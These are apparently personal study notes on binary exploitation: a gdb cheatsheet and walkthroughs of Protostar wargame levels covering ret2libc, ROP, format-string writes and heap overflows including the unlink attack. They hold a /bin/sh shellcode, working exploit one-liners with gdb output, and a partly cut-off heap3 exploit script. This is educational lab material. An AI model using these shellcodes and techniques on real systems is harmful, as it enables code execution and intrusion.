Computer Security `notes`

`gdb` cheatsheet

- Change to Intel syntax

  ```
  set disassembly-flavor intel
  ```

- Check stack:

```
x/100x $esp   // Show values in exadecimal
x/1000s $esp  // Show values as ascii characters (useful to check
position of environmnet variables)
```

- Give python-generated string as command line argument to a program:

```
python -c 'print("A"*40)' | ./ch
```

- Same as above with additional commands

```
(python -c 'print("A"*40)';cat) | ./ch
```

- Supply command line argument to program through python

```
./format1 "$(python -c "print '%x ' * 10")"
```

- Redirect input to `gdb`

```
r < /home/user/input.txt
r < `python /home/user/exploit_stack6.py`
```

- A `28` bytes shellcode for Linux x86 binaries:

```
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1
\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
```

- `info frame`

  Gives you information about the current frame, e.g.:

```
(gdb) info frame
Stack level 0, frame at 0xbffff790:
   eip = 0x80483d9 in main (stack5/stack5.c:11); saved eip 0x43434343
   source language c.
   Arglist at 0xbffff788, args: argc=0, argv=0xbffff834
   Locals at 0xbffff788, Previous frame's sp is 0xbffff790
   Saved registers:
       ebp at 0xbffff788, eip at 0xbffff78c
```

Here I set a `breakpoint` right after a call to `<gets@plt>` , after filling the buffer we can see that the `saved eip` has been overwritten with `CCCC` (`0x43434343`)

- Get raw bytes from a number

```
esp = 0xbffff78c
margin = 150
eip = struct.pack("I", esp + margin)
print eip
```

- Get address of a function (e.g. `system`)

```
p system
```

- Change address value in `gdb` :

```
set {int}0xbffff58c = 0x080484b4
```

- See address of start/end of `heap` and other stuff.

```
info proc map
```

- Give multiple arguments to program

```
./heap3 $(python -c 'print "arg1 arg2 arg3"')
```

Basic attacks

Ret2Libc (opt/protostar/bin/stack6)

```
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
0xb7ecffb0 <------- ADDRESS OF system()

(gdb) find &system,+9999999,"sh"
0xb7fb7a95
0xb7fb821d
warning: Unable to access target memory at 0xb7fdb4a0, halting search.
2 patterns found.
(gdb) x/s 0xb7fb7a95
0xb7fb7a95:  "getpwuid_r"
(gdb) x/s 0xb7fb821d
0xb7fb821d:  "sh"

0xb7fb821d  <---- ADDRESS OF "sh"
```

```
(BEFORE)
LOW
|  buf[0-3]                <--- STACK POINTER
|  buf[4-7]
|  buf[8-11]
|  ...
|  buf[60-63]
|  SAVED EBP               (Saved EBP original frame)
|  SAVED_EIP               (Saved EIP original frame)
|  main() stuff
|  ...
|  ...
HIGH

(AFTER) (breakpoint at the `leave` instruction)
```

```
LOW
|  AAAA                     (Start filling buffer....)
|  AAAA
|  AAAA
|  ...
|  AAAA
|  AAAA                     (Saved EBP original frame)
|  system() = 0xb7ecffb0    (Saved EIP original frame) <--- STACK
POINTER
|  SAVED EIP = BBBB                (Anything)
|  pointer to "sh\0" =0xb7fb821d    <--- Argument passed to system()
|  ...
| stuff()
HIGH
```

ROP `(Return Oriented Programming -> opt/protostar/bin/stack7 )`

A `ROP` jump consists of overwriting the SAVED EIP with the address of the `ret` instruction, the `ret` instruction will pop the stack and execute the following instruction (this way we can bypass the check on the SAVED EIP)

```
(BEFORE)
LOW
|  buf[0-3]                 <--- STACK POINTER
|  buf[4-7]
|  buf[8-11]
|  ...
|  buf[60-63]
|  SAVED EBP                (Saved EBP original frame)
|  SAVED_EIP                (Saved EIP original frame)
|  main() stuff
|  ...
.
.
.
```

```
|
HIGH

(AFTER) breakpoint at the `leave` instruction

LOW
|  AAAA                    (Start filling buffer....)
|  AAAA
|  AAAA
|  ...
|  AAAA
|  AAAA                    (Saved EBP original frame)
|  ret = 0x08048544   (Saved EIP original frame) <--- STACK POINTER
|  system() address = 0xb7ecffb0
|  SAVED EIP = BBBB                (Anything)
|  pointer to "sh\0" =0xb7fb821d    <--- Argument passed to system()
.
.
.
| stuff()
HIGH
```

writing in memory with format strings

`(opt/protostar/bin/format0)`

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

```

```
  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
```

Exploit:

Fill the buffer with `64` junk bytes and add `0xdeadbeef` to overwrite target

```
/opt/protostar/bin/format0 $(python -c "print '%64d' +
'\xef\xbe\xad\xde'")
or
/opt/protostar/bin/format0 $(python -c "print 'A'*64 +
'\xef\xbe\xad\xde'")
```

`(opt/protostar/bin/format2)`

Exploit: (`format1 is really similar but easier`)

It's everything in the stack. Make some experiments by passing a series of `"%x "` to see how `sprintf` is looking for values in the stack, at some point you'll encounter the string (program `args` are in the stack), make some calculation, add the `address` of `target` (`\xe4\x96\x04\x08`) and that's it.

```
python -c "print 'A'*4+ '\xe4\x96\x04\x08'*1 + 'A'*25 + '%x ' * 4 + '%n
'" | ./format2
```

(opt/protostar/bin/format3)

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);

  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
```

```
by running gdb and setting a breakpoint somewhere we obtain the address
of target.
>> b *0x0804849d
>> run
AAAA
>> p &target
address of target: 0x080496f4
```

```
user@protostar:/opt/protostar/bin$ python -c "print 'A'*4 + '%x '*11 +
'%x ' " | ./format3
AAAA0 bffff5c0 b7fd7ff4 0 0 bffff7c8 804849d bffff5c0 200 b7fd8420
bffff604 41414141
target is 00000000 :(
```

```
user@protostar:/opt/protostar/bin$ python -c "print
'AAAA'+'\xf4\x96\x04\x08'+'BBBB'+'%x '*12 + '%n ' " | ./format3
AAAA?BBBB0 bffff5c0 b7fd7ff4 0 0 bffff7c8 804849d bffff5c0 200 b7fd8420
bffff604 41414141
target is 0000005d :(

or, equivalently

user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" +
"%12$n"' | /opt/protostar/bin/format3
??
target is 00000004 :(
```

We want to write `0x01025544`, we can do it by write 2 bytes at the adresses `\xf4\x96\x04\x08` and `\xf6\x96\x04\x08` (because why not) (Note that we use `hn` to write 2 bytes intead of 4)

```
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" +
"\xf6\x96\x04\x08" + "%13$hn" + "%12$hn"' | /opt/protostar/bin/format3
???
target is 00080008 :(
```

we can split `0x01025544` in two 2 bytes words:

```
0x0102 -> decimal = 258
0x5544 -> decimal = 21828
<low - 8 > = 250
<high - low> = 21570
```

And our exploit can be:

```
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08" +
"\xf6\x96\x04\x08" + "%250c" + "%13$hn" + "%21570c"+ "%12$hn"' |
/opt/protostar/bin/format3

you have modified the target :)
```

(Spiega perchè si mette prima `"%13$hn"` e po `"%13$hn"`)

`(opt/protostar/bin/format4)`

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
```

```
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);
}

int main(int argc, char **argv)
{
  vuln();
}
```

Solution: overwrite `exit()` address with `hello()` address.

```
(gdb) p hello
$1 = {void (void)} 0x80484b4 <hello>

address of hello() = 0x080484b4 -> \xb4\x84\x94\x08

>>> 0x080484b4
134513844 (in decimal)
134513844 - 8 = 134513836
```

```
user@protostar:/opt/protostar/bin$ python -c 'print "AAAA" + "%x " * 3 +
"%x " ' | /opt/protostar/bin/format4
AAAA200 b7fd8420 bffff5d4 41414141
```

```
WRONG APPROACH! (SEE DYNAMIC RELOCATION RECORDS)
```

```
(gdb) p exit
$1 = {<text variable, no debug info>} 0x80483ec <exit@plt>

RIGHT APPROACH!
user@protostar:/opt/protostar/bin$ objdump -TR format4

format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*  00000000              __gmon_start__
00000000      DF *UND*  00000000  GLIBC_2.0   fgets
00000000      DF *UND*  00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*  00000000  GLIBC_2.0   _exit
00000000      DF *UND*  00000000  GLIBC_2.0   printf
00000000      DF *UND*  00000000  GLIBC_2.0   puts
00000000      DF *UND*  00000000  GLIBC_2.0   exit
080485ec g    DO .rodata        00000004  Base        _IO_stdin_used
08049730 g    DO .bss   00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit  <------- address of exit = 0x08049724 -
> \x24\x97\x04\x08
```

Exploit:

```
python -c 'print "AAAA" + "\x24\x97\x04\x08" + "%134513836c" + "%5$n"   '
| /opt/protostar/bin/format4
```

Alternatively...

```
Address of hello:
>>> 0x080484b4

1st = 0x0804  (in decimal -> 2052)

2nd = 0x84b4 (in decimal -> 33972)

LOW = 2052 - 8 = 2044
HIGH = 33972 - LOW = 33972 - 2044 = 31928

python -c 'print "\x24\x97\x04\x08" + "\x26\x97\x04\x08" + "%2044c" +
"%6$hn" + "%31928c" + "%5$hn"' | /opt/protostar/bin/format4

WHY IT DOESNT WORK???
```

Heap exploiting

`heap0`

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
```

```c
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();

}
```

```
(gdb) p &winner
$1 = (void (*)(void)) 0x8048464 <winner>
address of winner -> 0x08048464 -> \x64\x84\x04\x08
```

```
(gdb) p &nowinner
$2 = (void (*)(void)) 0x8048478 <nowinner>
address of nowinner -> 0x08048478 -> \x78\x84\x04\x08
```

```
disass main
...
b *0x080484f7  (after strcpy)
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
(gdb) info proc map  (where does the heap start?)
process 6956
cmdline = '/opt/protostar/bin/heap0'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap0'
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x8049000     0x1000          0
/opt/protostar/bin/heap0
     0x8049000  0x804a000     0x1000          0
/opt/protostar/bin/heap0
---> 0x804a000  0x806b000    0x21000          0           [heap]
    0xb7e96000 0xb7e97000     0x1000          0
    0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-
2.11.2.so
    0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-
2.11.2.so
    0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-
2.11.2.so
    0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-
2.11.2.so
    0xb7fd9000 0xb7fdc000     0x3000          0
    0xb7fdf000 0xb7fe2000     0x3000          0
    0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
```

```
    0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-
2.11.2.so
    0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-
2.11.2.so
    0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-
2.11.2.so
    0xbffeb000 0xc0000000    0x15000          0           [stack]
```

```
(gdb) x/22x 0x804a000
0x804a000:  0x00000000  0x00000049  0x41414141  0x41414141
0x804a010:  0x41414141  0x41414141  0x41414141  0x41414141
0x804a020:  0x41414141  0x41414141  0x41414141  0x41414141
0x804a030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a040:  0x00000000  0x00000000  0x00000000  0x00000011
0x804a050:  0x08048478  0x00000000
```

```
(gdb) run
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
("A" * 72)
Starting program: /opt/protostar/bin/heap0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
data is at 0x804a008, fp is at 0x804a050

Breakpoint 1, main (argc=2, argv=0xbffff7f4) at heap0/heap0.c:38
38  in heap0/heap0.c
(gdb) x/22x 0x804a000
0x804a000:  0x00000000  0x00000049  0x41414141  0x41414141
0x804a010:  0x41414141  0x41414141  0x41414141  0x41414141
0x804a020:  0x41414141  0x41414141  0x41414141  0x41414141
0x804a030:  0x41414141  0x41414141  0x41414141  0x41414141
0x804a040:  0x41414141  0x41414141  0x41414141  0x41414141
0x804a050:  0x08048400  0x00000000
```

Just run the script with 72 "A" and the address of `winner` (`\x64\x84\x04\x08`)

```
user@protostar:/opt/protostar/bin$ ./heap0  $(python -c 'print("A"*72 +
"\x64\x84\x04\x08")')
data is at 0x804a008, fp is at 0x804a050
level passed
```

heap1

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);
```

```
  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
```

```
dissass main
...
Set breakpoint after second strcpy
b *0x0804855a
(gdb) p &winner
$2 = (void (*)(void)) 0x8048494 <winner>
(address of winner : 0x08048494 -> \x94\x84\x04\x08)
run AA BB
```

```
(gdb) info proc map
process 7094
cmdline = '/opt/protostar/bin/heap1'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap1'
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x8049000     0x1000          0
/opt/protostar/bin/heap1
     0x8049000  0x804a000     0x1000          0
/opt/protostar/bin/heap1
     0x804a000  0x806b000    0x21000          0           [heap]
    0xb7e96000 0xb7e97000     0x1000          0
    0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-
2.11.2.so
    0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-
2.11.2.so
    0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-
2.11.2.so
```

```
    0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-
2.11.2.so
    0xb7fd9000 0xb7fdc000     0x3000          0
    0xb7fe0000 0xb7fe2000     0x2000          0
    0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
    0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-
2.11.2.so
    0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-
2.11.2.so
    0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-
2.11.2.so
    0xbffeb000 0xc0000000    0x15000          0           [stack]
```

```
(gdb) x/100x 0x804a000
0x804a000:  0x00000000  0x00000011  0x00000001  0x0804a018 <- pointer to
"AA" ("\x41\x41")
0x804a010:  0x00000000  0x00000011  0x00004141  0x00000000
0x804a020:  0x00000000  0x00000011  0x00000002  0x0804a038 <- pointer to
"BB" ("\x42\x42")
0x804a030:  0x00000000  0x00000011  0x00004242  0x00000000
0x804a040:  0x00000000  0x00020fc1  0x00000000  0x00000000
0x804a050:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a070:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a080:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a090:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0b0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0d0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a0e0:  0x00000000  0x00000000  0x00000000  0x00000000
```

We can overwrite the address `i2.name` `(0x0804a038 @ 0x804a02c)` with the first `arg1` and write at that address with `arg2`. What do we wanna write (`arg2`) and where (`arg1`)?

The answer to the first question is clear, we want to write the address of `winner` :
`0x08048494` -> `\x94\x84\x04\x08`

For the second question, we can overwrite the address of `puts` ! Since the `printf` at the end of the main does not have second argument, the compiler will optimize and use `puts` instead of `printf` and blablabla that's it! Note that in `winner` instead we'll call `printf` since a second argument has been provided!)

Address of `puts` : `0x08048566 -> \x66\x85\x04\x08`

```
(gdb) disass puts
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>:    jmp    *0x8049774  <--- BINGO (address of Global Offset Table)
0x080483d2 <puts@plt+6>:    push   $0x30
0x080483d7 <puts@plt+11>:   jmp    0x804835c
```

```
user@protostar:/opt/protostar/bin$ ./heap1 $(python -c "print 'A'*20 + '\x74\x97\x04\x08'") $(python -c "print '\x94\x84\x04\x08'")
and we have a winner @ 1617124716
```

`heap2`

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};
```

```c
struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
    printf("[ auth = %p, service = %p ]\n", auth, service);

    if(fgets(line, sizeof(line), stdin) == NULL) break;

    if(strncmp(line, "auth ", 5) == 0) {
      auth = malloc(sizeof(auth));
      memset(auth, 0, sizeof(auth));
      if(strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if(strncmp(line, "reset", 5) == 0) {
      free(auth);
    }
    if(strncmp(line, "service", 6) == 0) {
      service = strdup(line + 7);
    }
    if(strncmp(line, "login", 5) == 0) {
      if(auth->auth) {
        printf("you have logged in already!\n");
      } else {
        printf("please enter your password\n");
      }
    }
  }
}
```

We have to set `auth->auth` to a `non-zero` value...

```
(gdb) info proc map
process 7545
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x804b000     0x3000          0
/opt/protostar/bin/heap2
     0x804b000  0x804c000     0x1000     0x3000
/opt/protostar/bin/heap2
---> 0x804c000  0x804d000     0x1000          0           [heap]
    0xb7e96000 0xb7e97000     0x1000          0
    0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-
2.11.2.so
    0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-
2.11.2.so
    0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-
2.11.2.so
    0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-
2.11.2.so
    0xb7fd9000 0xb7fdc000     0x3000          0
    0xb7fde000 0xb7fe2000     0x4000          0
    0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
    0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-
2.11.2.so
    0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-
2.11.2.so
    0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-
2.11.2.so
    0xbffeb000 0xc0000000    0x15000          0           [stack]
```

```
b *0x08048aaf   // breakpoint at start of while loop
```

```
(gdb) r
Starting program: /opt/protostar/bin/heap2

Breakpoint 1, main (argc=1, argv=0xbffff844) at heap2/heap2.c:20
20	heap2/heap2.c: No such file or directory.
	in heap2/heap2.c
(gdb) c
Continuing.
[ auth = (nil), service = (nil) ]
auth AAAA

Breakpoint 1, main (argc=1, argv=0xbffff844) at heap2/heap2.c:20
20	in heap2/heap2.c
(gdb) x/20x 0x804c000
0x804c000:	0x00000000	0x00000011	0x41414141	0x0000000a
0x804c010:	0x00000000	0x00000ff1	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
```

```
(gdb) c
Continuing.
[ auth = 0x804c008, service = (nil) ]
serviceBBBBBBBBBBBBBBBB

Breakpoint 1, main (argc=1, argv=0xbffff844) at heap2/heap2.c:20
20	in heap2/heap2.c
(gdb) x/20x 0x804c000
0x804c000:	0x00000000	0x00000011	0x41414141	0x0000000a
0x804c010:	0x00000000	0x00000019	0x42424242	0x42424242
0x804c020:	0x42424242	0x42424242	0x0000000a	0x00000fd9
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
```

```
(gdb) c
Continuing.
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
```

heap3

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner(){
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
```

```
}
```

```
(gdb) b *0x0804890a (breakpoint after last strcpy)
```

```
(gdb) run AABBCCDD EEFFGGHH IILLMMNN
```

```
(gdb) info proc map
process 7721
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x804b000     0x3000          0
/opt/protostar/bin/heap3
     0x804b000  0x804c000     0x1000     0x3000
/opt/protostar/bin/heap3
->   0x804c000  0x804d000     0x1000          0           [heap]
    0xb7e96000 0xb7e97000     0x1000          0
    0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-
2.11.2.so
    0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-
2.11.2.so
    0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-
2.11.2.so
    0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-
2.11.2.so
    0xb7fd9000 0xb7fdc000     0x3000          0
    0xb7fe0000 0xb7fe2000     0x2000          0
    0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
    0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-
2.11.2.so
```

```
    0xb7ffe000 0xb7fff000     0x1000    0x1a000          /lib/ld-
2.11.2.so
    0xb7fff000 0xb8000000     0x1000    0x1b000          /lib/ld-
2.11.2.so
    0xbffeb000 0xc0000000    0x15000          0           [stack]
```

As we've seen in `heap1` it seem that we have to overwrite the address of `puts()` with the address of `winner()`

```
(gdb) p &winner
$1 = (void (*)(void)) 0x8048864 <winner>
address of winner -> 0x08048864 -> \x64\x88\x04\x08
```

```
(gdb) disass main
...
0x08048935 <main+172>:  call   0x8048790 <puts@plt>
0x0804893a <main+177>:  leave
0x0804893b <main+178>:  ret
End of assembler dump.
(gdb) disass 0x08048790
Dump of assembler code for function puts@plt:
0x08048790 <puts@plt+0>:    jmp    *0x804b128
0x08048796 <puts@plt+6>:    push   $0x68
0x0804879b <puts@plt+11>:   jmp    0x80486b0

address of puts -> 0x0804b128 -> \x28\xb1\x04\x08
```

So we want to write `\x64\x88\x04\x08` @ `\x28\xb1\x04\x08`

The vulnerability we can exploit is in the `unlink` macro:

```
http://phrack.org/issues/57/9.html
```

Long story short:

`malloc` allocates memory in chunks that have the following structure:

```
|--chunk start--|
|   prev_size   | <- size of previouse chunk
|---------------|
|      size     | <- size of current chunk starting from [chunk start]
|---------------|
|       fd      | <- pointer to next free chunk (forward) NOTE: in use
ONLY if the chunk is actually free!
|---------------|
|       bk      | <- pointer to previouse free chunk (backward) NOTE: in
use ONLY if the chunk is actually free!
|---------------|
|      data     |
|               |
|      ...      |
```

Chunk `size` will always be a multiple of `8` bytes for alignment, which means that the `3` lowest bits of the size will always be `0`. `malloc` uses these three bits, most notably the least significant bit will indicate whether the `previous` chunk is in use or free.

In `heap3` we see that when we allocate space for the first buffer `a` (`32 char`), the `size` field of the allocated chunk will be `0x29` (same thing for buffer `b` and `c`), this means that the chunk is composed by `prev_size` (`4 byte`), `size` (`4 bytes`) and `data` (`32 bytes`) `=> 0x28 bytes == 40 bytes`, and we add `1` as least significant bit since we want to specify that the previous chunk is NOT free (for the very first chunk, i.e. the one which stores buffer `a` we set this bit to `1` since there's nothing before the beginnig of the heap, so we want to avoid weird stuff when we `free()` it).

Note that fields depicted as `fd` and `bk` are ignored for used chunks and the memory is used for the program data, these pointers will come in handy in a few minutes...

When `malloc` is called, it initializes `prev_size` and `size` and returns the address of the memory right after (the memory address of `fd` in the drawing above)

SPIEGA UNLINK! COSA SUCCEDE QUANDO CHIAMI free()? se il prev size LSB è 0 CHIAMA UNLINK AAAAAA

```
Before unlink...
    BK           P         FD
  |Any|P|    |BK|FD|      |P|Any|

After unlink... (P is removed from the list)
    BK           P          FD
 |Any|FD|    |BK|FD|    |BK|Any|
```

```
#define unlink( P, BK, FD ) { \
[1] BK = P->bk;               \
[2] FD = P->fd;               \
[3] FD->bk = BK;              \
[4] BK->fd = FD;              \
}
```

```
We have a FAKE chunk in memory

   1st FAKE CHUNK
-------------------
prev_size (4 byte)
-------------------
size (4 byte)
-------------------
FD1 (4 byte)          (FD1 -> bk) must be our target address   (FD1 must be the address of our 2nd FAKE chunk)
-------------------
BK1 (4 byte)         <---- We write here our shell-code.
-------------------


   2nd FAKE CHUNK
-------------------  <---- FD1
```

```
prev_size (4 byte)
--------------------
size (4 byte)
--------------------
FD2 (4 byte)
--------------------
BK2 (4 byte)         <---- We write here our target address    .
--------------------



This way we write BK1 @ BK2, BUUUT this doesn't work since once we
execute [4] we fucked up.
```

Smarter idea:

We'll store shellcode that will call `winner()` somewhere on the heap, we will then force the chunk consolidation and the call to `unlink` on a specially crafted chunk. The chunk will contain `0x0804b11c = (0x0804b128-12)` in `fd` field and the address of the shellcode in the `bk` field. We cannot write the address of `winner()` to the `bk` as that part of memory is not writeable and `BK->fd` will also be updated as part of `unlink`.

We set `0xfffffffc` (i.e. `-4`) as `prev_size` since we need to bypass the `fastbin` implementation for `free()`. In fact, when determining whether to use fastbin, `malloc` is casting the chunk size to unsigned int, so `-4` is bigger than `64`.

```

            Hex          |           Explanation
=================================================================|
                          |--- (c - 4) ----|

0x41414141                                       JUNK                    |
                          |  PREV_SIZE_3   |
--------------------------------------------------------------- |
         |------- c ------|----------------|
```

```
0xfffffffc                              -4                    |
         |   PREV_SIZE_2  |     SIZE_3     |
--------------------------------------------------------------- |--- (c
+ 4) ----|----------------|----------------|
0xfffffffc                              -4                    |
PREV_SIZE_1   |     SIZE_2     |      FD_3      |
--------------------------------------------------------------- |-------
---------|----------------|----------------|
0x41414141                             JUNK                   |
SIZE_1     |      FD_2      |      BK_3      |
--------------------------------------------------------------- |-------
---------|----------------|----------------|
0x0804b11c              puts@GOT - 12, i.e. (0x0804b128-12)    |
FD_1       |      BK_2      |
--------------------------------------------------------------- |-------
---------|----------------|
0x804c040                    address of SHELLCODE             |
BK_1       |
--------------------------------------------------------------- |-------
---------|
```

```
What happens when we call free(c) ?

1) Check if the least significant bit of prev size is 0 or 1, in this
case we have PREV_SIZE_2 == 0xfffffffc => LSB 0

2) Since LSB == 0 we have that the previous chunk is "free" and we have
to unlink it,
    so we call unlink() on (c - PREV_SIZE_2), i.e. on (c + 4)

3) Let's see what happens when we call unlink(c + 4, BK_1, FD_1)

Remember that P->bk means P+12 and P->fd means P+8.

Here is a reminder on the unlink() macro:
```

```
#define unlink( P, BK, FD ) { \
    BK = P->bk;             \
    FD = P->fd;             \
    FD->bk = BK;            \
    BK->fd = FD;            \
}

So...

unlink( c + 4, BK_1, FD_1 ) {
    BK_1 = (c + 4)->bk;
    FD_1 = (c + 4)->fd;
    FD_1->bk = BK_1; // @(puts@GOT - 12 + 12) = (c + 4) + 12 = address
of SHELLCODE (Yeee, we write our SHELLCODE @ puts@GOT!)
    BK_1->fd = FD_1;// @(address of SHELLCODE + 8) = (c + 4 + 8) =
puts@GOT - 12 (But we don't care, this means that our SHELLCODE will be
overwritten after 8 bytes! We need a SHELLCODE with a max length of 8
bytes!)
}
```

Our `SHELLCODE` will be:

```
shellcode = "\x68\x64\x88\x04\x08\xc3"

Which are the instructions for

push 0x08048864
ret

Where 0x08048864 is the address of winner()
```

Full exploit:

We have to write buffer `A`, `B` and `C`.

```python
#!/usr/bin/python
buffA = 'WEDONTCARE' # unused

buffB = 'A'*16
buffB += "\x68\x64\x88\x04\x08\xc3" # shellcode
# fill buffB
buffB += 'A'*(32-len(buffB))
# overflow buffB by overwriting prev_size and size of the last chunk
with -4
buffB += struct.pack('I', 0xfffffffc)*2

buffC = 'A'*4 # junk
buffC += struct.pack('I', 0x804b128-12) # puts@GOT-12
buffC += struct.pack('I', 0x804c040) # address of SHELLCODE

files = ["/tmp/A", "/tmp/B", "/tmp/C"]
buffers = [buffA, buffB, buffC]
for f_name, buf in zip(files, buffers):
